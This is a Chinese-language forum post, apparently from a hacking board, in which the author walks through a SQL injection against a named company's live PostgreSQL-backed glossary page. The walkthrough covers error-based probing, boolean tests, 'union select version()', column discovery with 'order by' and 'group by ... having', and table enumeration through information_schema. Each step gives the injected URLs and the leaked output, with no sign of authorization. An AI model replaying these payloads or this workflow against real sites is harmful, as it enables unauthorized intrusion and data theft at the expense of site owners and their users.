返回列表 回复 发帖

=用什么学什么= 之 PostgreSQL 注入

故事是从和朋友谈论Google广告高价关键词开始.
在google输入: Definition: osteomyelitis
http://www.google.cn/search?clie ... on%3A+osteomyelitis
点到这个连接:
http://www.antigenics.com/glossary/definition.phtml?word=77
页面十分简洁,看了词条,发现URL有点意思:.phtml 这个是什么脚本?
习惯性的在后面加了个'
http://www.antigenics.com/glossary/definition.phtml?word=77'

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" LINE 1: ...parts_of_speech WHERE part_of_speech=pos_id AND word_id=77\' ^ in /home/httpd/htdocs/glossary/definition.phtml on line 13

Warning: pg_result(): supplied argument is not a valid PostgreSQL result resource in /home/httpd/htdocs/glossary/definition.phtml on line 15

Warning: pg_result(): supplied argument is not a valid PostgreSQL result resource in /home/httpd/htdocs/glossary/definition.phtml on line 16

Warning: pg_result(): supplied argument is not a valid PostgreSQL result resource in /home/httpd/htdocs/glossary/definition.phtml on line 17

Warning: pg_result(): supplied argument is not a valid PostgreSQL result resource in /home/httpd/htdocs/glossary/definition.phtml on line 18

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" LINE 1: SELECT word_pronounce FROM definitions WHERE word_id=77\' ^ in /home/httpd/htdocs/glossary/definition.phtml on line 20

似乎更有意思了:PostgreSQL数据库,第一次接触……
有兴趣了,百度下.phtml
http://zhidao.baidu.com/question/35103217.html?si=2
phtml
PHTML(有时也被称为PHP页)实际上是网页,它包括了由PHP脚本语言写成的网页,PHP语言和JavaScript或VBScript。它有点象微软的ASP页,一个PHTML页包括一些能够在服务器上执行的程序,用户可以通过网页的后缀可以了解什么是PHTML页。

原来如此,谁叫咱不是科班出身呢,这都是头回听说……
继续,百度下PostgreSQL

PostgreSQL

PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。 POSTGRES 领先的许多概念只是在非常迟的时候才出现在商业数据库中。

恩!有多了点知识。
看看加了个“'”出错了,看来是有问题了。经典的 1=1 1=2看看。

http://www.antigenics.com/glossary/definition.phtml?word=77 and 1=1 返回正常。
http://www.antigenics.com/glossary/definition.phtml?word=77 and 1=2 返回错误。

哈哈,可以注入。就是要看怎么构造语句了。
看看网络上有没有人检测过PostgreSQL:
http://www.baidu.com/s?tn=ichune ... PostgreSQL&ct=0
翻了几页都没发现……自己来吧。

先学习下PostgreSQL的相关知识吧。N久的GOOGLE BAIDU学习,此过程省略!用过的资料附在下面.


参考资料
PostgreSQL 中文网
http://www.pgsqldb.org
技术手册
http://man.chinaunix.net/database/postgresql_8.0_CN
Windows下安装教程
http://publish.it168.com/2005/1117/20051117041101.shtml
官方下载地址
http://www.postgresql.org/ftp/binary/

学习过程中用到的其他参考资料:

PostgreSQL表及索引存储开销
http://www.blowfisher.net/wiki/t ... sql-tablespace-cost
ChinaUnix 论坛 PostgreSQL
http://bbs.chinaunix.net/forum-18-1.html
老话重谈,PostgreSQL 和 MySQL 性能,稳定性对比。
http://www.itpub.net/thread-975348-1-1.html
得到PostgreSQL 数据库表字段的部分信息(Name,Type,Len,PK,AutoIncrease,AllowNullable)
http://www.cnblogs.com/1landonsea/archive/2004/12/24/81358.aspx
5种数据库sql语句大全
http://blog.csdn.net/hackbomb2008/archive/2008/04/01/2238651.aspx
http://blog.csdn.net/hackbomb2008/archive/2008/04/02/2245308.aspx
(重点说下,从这里面得到列出模式中的表PostgreSQL/mysql/sqlserver
select tablename from information_schema.tables where table_schema=''smeagol'')
PostgreSQL INFORMATION_SCHEMA
http://www.itpub.net/674501.html
远程连接PostgreSQL服务器。
http://www.learndiary.com/archives/diaries/1856.htm
postgresql访问认证设置
http://bbs.chinaunix.net/viewthread.php?tid=8176


大致和MYSQL差不多。
支持union
先试试union select version()
http://www.antigenics.com/glossary/definition.phtml?word=-77 union select version()
注意要将77参数提交错误值,看:
.   PostgreSQL 8.3.0 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070925 (Red Hat 4.1.2-27)
呵呵!还是8.3.0的。
继续。

http://www.antigenics.com/glossary/definition.phtml?word=77 order by 1  返回正常
http://www.antigenics.com/glossary/definition.phtml?word=77 order by 2  返回异常
因为ORDER BY 项必须是 SELECT-list 表达式的数目
这样看看:
http://www.antigenics.com/glossary/definition.phtml?word=77 having 1=1
接这用GROUP BY 获得其他表
http://www.antigenics.com/glossary/definition.phtml?word=77 group by definitions.word_title,parts_of_speech.pos_type,definitions.word_def,definitions.word_audio having 1=1

definitions.word_title
parts_of_speech.pos_type
definitions.word_def
definitions.word_audio

hoho
感觉比较乱,最累的就是猜表了,去尝试看看在查询资料的时候发现可以这样.

http://www.antigenics.com/glossa ... tion_schema.tables/**/
得到
administrable_role_authorizations
返回列表